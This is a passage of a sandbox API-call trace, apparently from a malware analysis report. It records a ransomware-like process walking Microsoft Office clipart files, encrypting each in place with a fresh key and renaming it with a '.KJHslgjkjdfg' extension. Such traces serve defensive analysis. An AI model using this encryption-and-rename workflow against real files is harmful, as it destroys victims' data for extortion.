lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.491] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.491] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.491] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24e2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x24e2, lpOverlapped=0x0) returned 1 [0180.492] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24f0, dwBufLen=0x24f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x24f0) returned 1 [0180.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.493] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x24f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x24f0, lpOverlapped=0x0) returned 1 [0180.493] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.493] SetEndOfFile (hFile=0x114) returned 1 [0180.496] GetProcessHeap () returned 0x2a0000 [0180.496] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.496] GetProcessHeap () returned 0x2a0000 [0180.496] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.kjhslgjkjdfg")) returned 1 [0180.497] CloseHandle (hObject=0x114) returned 1 [0180.497] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0180.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.499] GetProcessHeap () returned 0x2a0000 [0180.499] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.499] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.499] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.501] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.501] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.501] GetProcessHeap () returned 0x2a0000 [0180.501] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.501] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.501] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.501] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.502] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.502] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.502] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.502] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.502] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9b3a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9b3a, lpOverlapped=0x0) returned 1 [0180.506] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9b40, dwBufLen=0x9b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9b40) returned 1 [0180.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.507] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9b40, lpOverlapped=0x0) returned 1 [0180.507] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.507] SetEndOfFile (hFile=0x114) returned 1 [0180.509] GetProcessHeap () returned 0x2a0000 [0180.509] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.509] GetProcessHeap () returned 0x2a0000 [0180.510] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.kjhslgjkjdfg")) returned 1 [0180.511] CloseHandle (hObject=0x114) returned 1 [0180.511] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0180.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.512] GetProcessHeap () returned 0x2a0000 [0180.512] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.512] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.514] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.514] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.514] GetProcessHeap () returned 0x2a0000 [0180.514] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.514] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.514] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.514] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.514] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.514] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.515] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.515] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.515] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.515] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.515] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1484, lpOverlapped=0x0) returned 1 [0180.516] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490, dwBufLen=0x1490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490) returned 1 [0180.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.516] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1490, lpOverlapped=0x0) returned 1 [0180.516] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.516] SetEndOfFile (hFile=0x114) returned 1 [0180.519] GetProcessHeap () returned 0x2a0000 [0180.519] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.519] GetProcessHeap () returned 0x2a0000 [0180.519] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.kjhslgjkjdfg")) returned 1 [0180.521] CloseHandle (hObject=0x114) returned 1 [0180.521] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0180.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.522] GetProcessHeap () returned 0x2a0000 [0180.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.522] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.525] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.525] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.525] GetProcessHeap () returned 0x2a0000 [0180.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.525] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.525] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.525] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.525] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.525] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.525] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.525] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.525] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.526] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.526] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.526] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd9a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd9a, lpOverlapped=0x0) returned 1 [0180.526] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xda0, dwBufLen=0xda0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xda0) returned 1 [0180.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.526] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xda0, lpOverlapped=0x0) returned 1 [0180.526] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.526] SetEndOfFile (hFile=0x114) returned 1 [0180.535] GetProcessHeap () returned 0x2a0000 [0180.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.535] GetProcessHeap () returned 0x2a0000 [0180.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.kjhslgjkjdfg")) returned 1 [0180.536] CloseHandle (hObject=0x114) returned 1 [0180.536] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0180.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.537] GetProcessHeap () returned 0x2a0000 [0180.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.537] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.537] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.537] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.539] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.539] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.539] GetProcessHeap () returned 0x2a0000 [0180.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.539] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.539] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.539] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.539] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.539] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.539] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.540] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.540] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.540] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ca8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ca8, lpOverlapped=0x0) returned 1 [0180.540] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cb0) returned 1 [0180.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.541] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1cb0, lpOverlapped=0x0) returned 1 [0180.541] CryptDestroyKey 